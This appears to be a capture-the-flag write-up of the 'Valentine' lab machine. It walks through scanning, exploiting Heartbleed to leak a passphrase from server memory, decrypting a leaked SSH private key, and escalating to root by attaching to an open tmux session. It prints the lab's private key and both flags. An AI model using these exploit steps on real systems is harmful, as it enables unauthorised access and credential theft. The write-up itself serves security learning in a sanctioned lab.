July
26th,
2020
This is an easy linux box
Tools used
- base64
- cat
- echo
- ffuf
- john
- linenum
- nmap
- openssl
- python
- scp
- searchsploit
- ssh2john
- ssh
- tee
- tmux
- xxd
Reconnaissance
Nmap
nmap -sC -sV -oA valentine 10.10.10.79 -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
| 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Issuer: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2018-02-06T00:45:25
| Not valid after: 2019-02-06T00:45:25
| MD5: a413 c4f0 b145 2154 fb54 b2de c7a9 809d
|_SHA-1: 2303 80da 60e7 bde7 2ba6 76dd 5214 3c3c 6f53 01b1
|_ssl-date: 2020-07-25T06:58:44+00:00; +6m43s from scanner time.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Here’s what nmap teaches us :
- port 22 (SSH) - OpenSSH 5.9p1
- port 80 (HTTP) - Apache 2.2.22
- port 443 (HTTPS) - Apache 2.2.22
First I go see the web ports :
We have this image on both web ports, this is a women screaming and a heart which is bleeding. The bleeding heart + port 443 open, it reminds me of an exploit named “heartbleed” !
Explanation about heartbleed : https://heartbleed.com/
Before digging in to the heartbleed exploit, I launch a files/directories brute force :
ffuf -w /home/liodeus/directory-list-lowercase-2.3-medium.txt -u http://10.10.10.79/FUZZ -e .php,.html,.txt -t 25
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0-git
________________________________________________
:: Method : GET
:: URL : http://10.10.10.79/FUZZ
:: Wordlist : FUZZ: /home/liodeus/directory-list-lowercase-2.3-medium.txt
:: Extensions : .php .html .txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 25
:: Matcher : Response status: 200,204,301,302,307,401,403
________________________________________________
index [Status: 200, Size: 38, Words: 2, Lines: 2]
index.php [Status: 200, Size: 38, Words: 2, Lines: 2]
dev [Status: 301, Size: 308, Words: 20, Lines: 10]
encode [Status: 200, Size: 554, Words: 73, Lines: 28]
encode.php [Status: 200, Size: 554, Words: 73, Lines: 28]
decode.php [Status: 200, Size: 552, Words: 73, Lines: 26]
decode [Status: 200, Size: 552, Words: 73, Lines: 26]
omg [Status: 200, Size: 147692, Words: 627, Lines: 620]
First, I go to the dev directory and here’s what I found :
hype_key :
2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d 0d 0a 50 72 6f 63 2d 54 79 70 65 3a 20 34 2c 45 4e 43 52 59 50 54 45 44 0d 0a 44 45 4b 2d 49 6e 66 6f 3a 20 41 45 53 2d 31 32 38 2d 43 42 43 2c 41 45 42 38 38 43 31 34 30 46 36 39 42 46 32 30 37 34 37 38 38 44 45 32 34 41 45 34 38 44 34 36 0d 0a 0d 0a 44 62 50 72 4f 37 38 6b 65 67 4e 75 6b 31 44 41 71 6c 41 4e 35 6a 62 6a 58 76 30 50 50 73 6f 67 33 6a 64 62 4d 46 53 38 69 45 39 70 33 55 4f 4c 30 6c 46 30 78 66 37 50 7a 6d 72 6b 44 61 38 52 0d 0a 35 79 2f 62 34 36 2b 39 6e 45 70 43 4d 66 54 50 68 4e 75 4a 52 63 57 32 55 32 67 4a 63 4f 46 48 2b 39 52 4a 44 42 43 35 55 4a 4d 55 53 31 2f 67 6a 42 2f 37 2f 4d 79 30 30 4d 77 78 2b 61 49 36 0d 0a 30 45 49 30 53 62 4f 59 55 41 56 31 57 34 45 56 37 6d 39 36 51 73 5a 6a 72 77 4a 76 6e 6a 56 61 66 6d 36 56 73 4b 61 54 50 42 48 70 75 67 63 41 53 76 4d 71 7a 37 36 57 36 61 62 52 5a 65 58 69 0d 0a 45 62 77 36 36 68 6a 46 6d 41 75 34 41 7a 71 63 4d 2f 6b 69 67 4e 52 46 50 59 75 4e 69 58 72 58 73 31 77 2f 64 65 4c 43 71 43 4a 2b 45 61 31 54 38 7a 6c 61 73 36 66 63 6d 68 4d 38 41 2b 38 50 0d 0a 4f 58 42 4b 4e 65 36 6c 31 37 68 4b 61 54 36 77 46 6e 70 35 65 58 4f 61 55 49 48 76 48 6e 76 4f 36 53 63 48 56 57 52 72 5a 37 30 66 63 70 63 70 69 6d 4c 31 77 31 33 54 67 64 64 32 41 69 47 64 0d 0a 70 48 4c 4a 70 59 55 49 49 35 50 75 4f 36 78 2b 4c 53 38 6e 31 72 2f 47 57 4d 71 53 4f 45 69 6d 4e 52 44 31 6a 2f 35 39 2f 34 75 33 52 4f 72 54 43 4b 65 6f 39 44 73 54 52 71 73 32 6b 31 53 48 0d 0a 51 64 57 77 46 77 61 58 62 59 79 54 31 75 78 41 4d 53 6c 35 48 71 39 4f 44 35 48 4a 38 47 30 52 36 4a 49 35 52 76 43 4e 55 51 6a 77 78 30 46 49 54 6a 6a 4d 6a 6e 4c 49 70 78 6a 76 66 71 2b 45 0d 0a 70 30 67 44 30 55 63 79 6c 4b 6d 36 72 43 5a 71 61 63 77 6e 53 64 64 48 57 38 57 33 4c 78 4a 6d 43 78 64 78 57 35 6c 74 35 64 50 6a 41 6b 42 59 52 55 6e 6c 39 31 45 53 43 69 44 34 5a 2b 75 43 0d 0a 4f 6c 36 6a 4c 46 44 32 6b 61 4f 4c 66 75 79 65 65 30 66 59 43 62 37 47 54 71 4f 65 37 45 6d 4d 42 33 66 47 49 77 53 64 57 38 4f 43 38 4e 57 54 6b 77 70 6a 63 30 45 4c 62 6c 55 61 36 75 6c 4f 0d 0a 74 39 67 72 53 6f 73 52 54 43 73 5a 64 31 34 4f 50 74 73 34 62 4c 73 70 4b 78 4d 4d 4f 73 67 6e 4b 6c 6f 58 76 6e 6c 50 4f 53 77 53 70 57 79 39 57 70 36 79 38 58 58 38 2b 46 34 30 72 78 6c 35 0d 0a 58 71 68 44 55 42 68 79 6b 31 43 33 59 50 4f 69 44 75 50 4f 6e 4d 58 61 49 70 65 31 64 67 62 30 4e 64 44 31 4d 39 5a 51 53 4e 55 4c 77 31 44 48 43 47 50 50 34 4a 53 53 78 58 37 42 57 64 44 4b 0d 0a 61 41 6e 57 4a 76 46 67 6c 41 34 6f 46 42 42 56 41 38 75 41 50 4d 66 56 32 58 46 51 6e 6a 77 55 54 35 62 50 4c 43 36 35 74 46 73 74 6f 52 74 54 5a 31 75 53 72 75 61 69 32 37 6b 78 54 6e 4c 51 0d 0a 2b 77 51 38 37 6c 4d 61 64 64 73 31 47 51 4e 65 47 73 4b 53 66 38 52 2f 72 73 52 4b 65 65 4b 63 69 6c 44 65 50 43 6a 65 61 4c 71 74 71 78 6e 68 4e 6f 46 74 67 30 4d 78 74 36 72 32 67 62 31 45 0d 0a 41 6c 6f 51 36 6a 67 35 54 62 6a 35 4a 37 71 75 59 58 5a 50 79 6c 42 6c 6a 4e 70 39 47 56 70 69 6e 50 63 33 4b 70 48 74 74 76 67 62 70 74 66 69 57 45 45 73 5a 59 6e 35 79 5a 50 68 55 72 39 51 0d 0a 72 30 38 70 6b 4f 78 41 72 58 45 32 64 6a 37 65 58 2b 62 71 36 35 36 33 35 4f 4a 36 54 71 48 62 41 6c 54 51 31 52 73 39 50 75 6c 72 53 37 4b 34 53 4c 58 37 6e 59 38 39 2f 52 5a 35 6f 53 51 65 0d 0a 32 56 57 52 79 54 5a 31 46 66 6e 67 4a 53 73 76 39 2b 4d 66 76 7a 33 34 31 6c 62 7a 4f 49 57 6d 6b 37 57 66 45 63 57 63 48 63 31 36 6e 39 56 30 49 62 53 4e 41 4c 6e 6a 54 68 76 45 63 50 6b 79 0d 0a 65 31 42 73 66 53 62 73 66 39 46 67 75 55 5a 6b 67 48 41 6e 6e 66 52 4b 6b 47 56 47 31 4f 56 79 75 77 63 2f 4c 56 6a 6d 62 68 5a 7a 4b 77 4c 68 61 5a 52 4e 64 38 48 45 4d 38 36 66 4e 6f 6a 50 0d 0a 30 39 6e 56 6a 54 61 59 74 57 55 58 6b 30 53 69 31 57 30 32 77 62 75 31 4e 7a 4c 2b 31 54 67 39 49 70 4e 79 49 53 46 43 46 59 6a 53 71 69 79 47 2b 57 55 37 49 77 4b 33 59 55 35 6b 70 33 43 43 0d 0a 64 59 53 63 7a 36 33 51 32 70 51 61 66 78 66 53 62 75 76 34 43 4d 6e 4e 70 64 69 72 56 4b 45 6f 35 6e 52 52 66 4b 2f 69 61 4c 33 58 31 52 33 44 78 56 38 65 53 59 46 4b 46 4c 36 70 71 70 75 58 0d 0a 63 59 35 59 5a 4a 47 41 70 2b 4a 78 73 6e 49 51 39 43 46 79 78 49 74 39 32 66 72 58 7a 6e 73 6a 68 6c 59 61 38 73 76 62 56 4e 4e 66 6b 2f 39 66 79 58 36 6f 70 32 34 72 4c 32 44 79 45 53 70 59 0d 0a 70 6e 73 75 6b 42 43 46 42 6b 5a 48 57 4e 4e 79 65 4e 37 62 35 47 68 54 56 43 6f 64 48 68 7a 48 56 46 65 68 54 75 42 72 70 2b 56 75 50 71 61 71 44 76 4d 43 56 65 31 44 5a 43 62 34 4d 6a 41 6a 0d 0a 4d 73 6c 66 2b 39 78 4b 2b 54 58 45 4c 33 69 63 6d 49 4f 42 52 64 50 79 77 36 65 2f 4a 6c 51 6c 56 52 6c 6d 53 68 46 70 49 38 65 62 2f 38 56 73 54 79 4a 53 65 2b 62 38 35 33 7a 75 56 32 71 4c 0d 0a 73 75 4c 61 42 4d 78 59 4b 6d 33 2b 7a 45 44 49 44 76 65 4b 50 4e 61 61 57 5a 67 45 63 71 78 79 6c 43 43 2f 77 55 79 55 58 6c 4d 4a 35 30 4e 77 36 4a 4e 56 4d 4d 38 4c 65 43 69 69 33 4f 45 57 0d 0a 6c 30 6c 6e 39 4c 31 62 2f 4e 58 70 48 6a 47 61 38 57 48 48 54 6a 6f 49 69 6c 42 35 71 4e 55 79 79 77 53 65 54 42 46 32 61 77 52 6c 58 48 39 42 72 6b 5a 47 34 46 63 34 67 64 6d 57 2f 49 7a 54 0d 0a 52 55 67 5a 6b 62 4d 51 5a 4e 49 49 66 7a 6a 31 51 75 69 6c 52 56 42 6d 2f 46 37 36 59 2f 59 4d 72 6d 6e 4d 39 6b 2f 31 78 53 47 49 73 6b 77 43 55 51 2b 39 35 43 47 48 4a 45 38 4d 6b 68 44 33 0d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 52 49 56 41 54 45 20 4b 45 59 2d 2d 2d 2d 2d
notes.txt
To do:
1) Coffee.
2) Research.
3) Fix decoder/encoder before going live.
4) Make sure encoding/decoding is only done client-side.
5) Don't use the decoder/encoder until any of this is done.
6) Find a better way to take notes.
So hype_key looks like hexadecimal values, let’s try to decode it :
cat hype_key | xxd -r -p | tee output_hype_key
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO
t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
+wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----
Nice, I now have a RSA key, but the key is encrypted, I need a password ! Let’s now see the directories encode/decode. It’s just a base64 encoder/decoder, nothing interesting here ! Maybe I can brute force the password, with john, first I need to convert the key so that john can accept it :
/usr/share/john/ssh2john.py output_hype_key | tee crack.key
output_hype_key:$sshng$1$16$AEB88C140F69BF2074788DE24AE48D46$1200$0db3eb3bbf247a036e9350c0aa500de636e35efd0f3eca20de375b3054bc884f69dd438bd25174c5fecfce6ae40daf11e72fdbe3afbd9c4a4231f4cf84db8945c5b653680970e147fbd4490c10b95093144b5fe08c1ffbfcccb4d0cc31f9a23ad0423449b3985005755b8115ee6f7a42c663af026f9e355a7e6e95b0a6933c11e9ba07004af32acfbe96e9a6d165e5e211bc3aea18c5980bb8033a9c33f92280d4453d8b8d897ad7b35c3f75e2c2a8227e11ad53f3395ab3a7dc9a133c03ef0f39704a35eea5d7b84a693eb0167a7979739a5081ef1e7bcee9270755646b67bd1f7297298a62f5c35dd381d77602219da472c9a585082393ee3bac7e2d2f27d6bfc658ca923848a63510f58ffe7dff8bb744ead308a7a8f43b1346ab3693548741d5b01706976d8c93d6ec403129791eaf4e0f91c9f06d11e8923946f08d5108f0c741484e38cc8e72c8a718ef7eaf84a74803d1473294a9baac266a69cc2749d7475bc5b72f12660b17715b996de5d3e30240584549e5f751120a20f867eb823a5ea32c50f691a38b7eec9e7b47d809bec64ea39eec498c0777c623049d5bc382f0d593930a6373410b6e551aeae94eb7d82b4a8b114c2b19775e0e3edb386cbb292b130c3ac8272a5a17be794f392c12a56cbd5a9eb2f175fcf85e34af19795ea8435018729350b760f3a20ee3ce9cc5da2297b57606f435d0f533d65048d50bc350c70863cfe09492c57ec159d0ca6809d626f160940e2814105503cb803cc7d5d971509e3c144f96cf2c2eb9b45b2da11b53675b92aee6a2dbb9314e72d0fb043cee531a75db3519035e1ac2927fc47faec44a79e29c8a50de3c28de68baadab19e136816d834331b7aaf681bd44025a10ea38394db8f927baae61764fca50658cda7d195a629cf7372a91edb6f81ba6d7e258412c6589f9c993e152bf50af4f2990ec40ad7136763ede5fe6eaeb9eb7e4e27a4ea1db0254d0d51b3d3ee96b4bb2b848b5fb9d8f3dfd1679a1241ed95591c9367515f9e0252b2ff7e31fbf3df8d656f33885a693b59f11c59c1dcd7a9fd57421b48d00b9e34e1bc470f9327b506c7d26ec7fd160b946648070279df44a906546d4e572bb073f2d58e66e16732b02e169944d77c1c433ce9f3688cfd3d9d58d3698b565179344a2d56d36c1bbb53732fed5383d2293722121421588d2aa2c86f9653b2302b7614e64a7708275849ccfadd0da941a7f17d26eebf808c9cda5d8ab54a128e674517cafe268bdd7d51dc3c55f1e49814a14bea9aa9b97718e58649180a7e271b27210f42172c48b7dd9fad7ce7b2386561af2cbdb54d35f93ff5fc97ea8a76e2b2f60f2112a58a67b2e90108506464758d37278dedbe46853542a1d1e1cc75457a14ee06ba7e56e3ea6aa0ef30255ed436426f832302332c95ffbdc4af935c42f789c98838145d3f2c3a7bf2654255519664a116923c79bffc56c4f22527be6fce77cee576a8bb2e2da04cc582a6dfecc40c80ef78a3cd69a59980472ac729420bfc14c945e5309e74370e8935530cf0b7828a2dce116974967f4bd5bfcd5e91e319af161c74e3a088a5079a8d532cb049e4c11766b04655c7f41ae4646e0573881d996fc8cd345481991b31064d2087f38f542e8a5455066fc5efa63f60cae69ccf64ff5c52188b24c02510fbde42187244f0c9210f7
The command to brute force the ssh key with john :
sudo john --wordlist=/home/liodeus/wordlist/rockyou.txt --format=SSH crack.key
Too bad it did not work, it’s now time to dig in to heartbleed !
Nice, go download the first one and try it :
searchsploit -m multiple/remote/32764.py
Exploit
python 32764.py 10.10.10.79 | head -n 33
Trying SSL 3.0...
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0300, length = 94
... received message: type = 22, ver = 0300, length = 885
... received message: type = 22, ver = 0300, length = 331
... received message: type = 22, ver = 0300, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0300, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 00 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 30 2E 30 2E ....#.......0.0.
00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F 1/decode.php..Co
00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C ntent-Type: appl
0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F ication/x-www-fo
0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43 rm-urlencoded..C
0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34 ontent-Length: 4
0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63 2....$text=aGVhc
0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64 nRibGVlZGJlbGlld
0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D 29 mV0aGVoeXBlCg==)
It seems to work, I can see a variable, named text which looks like base64 :
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
Decode it :
echo aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg== | base64 -d
heartbleedbelievethehype
I now have a potential password ? Let’s try to decode the SSH key with it :
openssl rsa -in output_hype_key -out dec.key
Enter pass phrase for output_hype_key:
writing RSA key
cat dec.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEA1FN4mXAwn3ggiDC/N+BcdmEBf0yMl6IulSOkv9WfUrGTPTUo
cFHUa95jyaHFjme0c7hG6URWS9c4JMpB35/KUdFnOpI0MOJQlRldt+4qlpRvjEhk
VTj7g0tVJmjd3Temyy+eNSzaU7HBOEWzcz4T+qQ+aSrEl+yHDLAH8mfa6X2SrnIk
tC16W00upKJK67uvzDNbtw5HH8bklvB3jupVkO7GwjC2wqfVoypgUZcTGOCY9LVL
M/H+urxmh8VomlMwRcuZvNqnwsi/TeGK6NcXtURfLgufIvKxP22g81thjCuyVXAL
z4rp7tidEHloPLFTsrSy8T1cT6zyg2+wgRJMzQIDAQABAoIBACBqAc5C31lpCGZi
Mr8ABH2Z/5WEhS4c90mTYHJc1W7VZyn/9IV5KJmzIL7GcJd144mLB2BTK212lL6h
Ff9isItfEYhSi58u3ah1b+ZFeMD2NjVPU+niwhrgJEax2bUM6uy3/0oU59vBFkNV
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3FF2HZiPmsavH925VGfMxLLj1V2T1xrpEwkzimATrOvlXN00BZqqmm643QJrJrgl
snkFn8/cBMxuWlzw1tHrSFmO8Yns+JVABP0ci9jmvVhLidqqHshl3DmMhb3tS4nA
3pTc0Q0CgYEA7i1QecUryhtCttc3dzQVCZdmkD9Sr7f7r/ne7jNVNq/n/VUh6ZYI
ELq+Ouip+RneR7cpov1s+COF+KyJW5LCNtqmC+7wtYMSWfdSmfMco+pRWQvFHVa8
KC1C2qybYWgxD1gRjDbWvNdarOq7NGVBBE5W2lpm2nO0s3Bkd53oNG8CgYEA5Dbw
FP2Q47N2TgtedOwsCKE3uzGGSV3FTRB3HZoOLBcc3CYBM1kQZpcThl5YVLvc6r6T
xQRhKc73QR2GFLD03yYBN7HwgOPtU/t7m2dIKJRgSkLYE/G+iZ1OxNJsTWREQ34b
yVXhxgpm4LEelfAN4+mbub8ELEi9b2G9Wg4kCIMCgYEAxPQv4iJMDbrxNiVONoKZ
Cu9p3sqeY7Ruqpyj3rIQO0LHQlQN0Q1B6iOifzA6rkTX7NHn2mJao+8sL/DtPQ5l
D9tLB/80icSzfjXo1mmVO27eihYTkClTOp4C9LVbX/c66odXK22FsW8cCnWpDLDW
TOtDIxkyiF66BNBiJBAuHn0CgYEAk3VUB5wXxKku5hq+e7omcaUKB7BmXn1ygOsE
rGHgimicwzrjR7RivocbnJTValrA0gU2IfVEeuk6Jh7XhgMZFh7OZphZGE8uCDfU
lINVwrKszQ8H40sunGjCfragOBlzalDPz3XonjgWZVTMuIEV2JAXiRt9rMeLb66t
1MSST9UCgYEAnto5uquA7UPpk7zgawoqR+kXhlOy1RpO1OwNxJXAi/EB99k0QL5m
vEgeEwRP/+S8UCRvLGdHrnHg6GyCEQMYNuUGtOVqNRw2ezIrpU7RybdTFN/gX+6S
tpUEwXFAuMcDkksSNTLIJC2sa7eJFpHqeajJWAc30qOO1IBlNVoehxA=
-----END RSA PRIVATE KEY-----
As we can see, the encrypted header disappear, I can now connect to SSH with this key ! Since it was “hype_key”, I tried to connect as hype :
ssh hype@10.10.10.79 -i dec.key
load pubkey "dec.key": invalid format
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)
* Documentation: https://help.ubuntu.com/
New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
hype@Valentine:~$ whoami
hype
I have the user ! Now let’s root ! Let’s use LinEnum.sh to do so reco, upload it to the server :
scp -i dec.key /home/liodeus/Documents/linux_enumeration/LinEnum.sh hype@10.10.10.79:/tmp/LinEnum.sh
Launch the script :
bash LinEnum.sh | tee results.txt
Reading throught the results, there is one thing that stands out :
[-] Location and contents (if accessible) of .bash_history file(s):
/home/hype/.bash_history
exit
exot
exit
ls -la
cd /
ls -la
cd .devs
ls -la
tmux -L dev_sess
tmux a -t dev_sess
tmux --help
tmux -S /.devs/dev_sess
exit
There might be a tmux session as dev still open ! Let’s try to reconnect to it :
tmux -S /.devs/dev_sess
And there I have a shell as root :
root@Valentine:/home/hype# whoami
root
Now I can read the flags !
Flags
User.txt
root@Valentine:~# cat user.txt
e6710a5464769fd5fcd216e076961750
Root.txt
root@Valentine:~# cat root.txt
f1bb6d759df1f272914ebbc9ed7765b2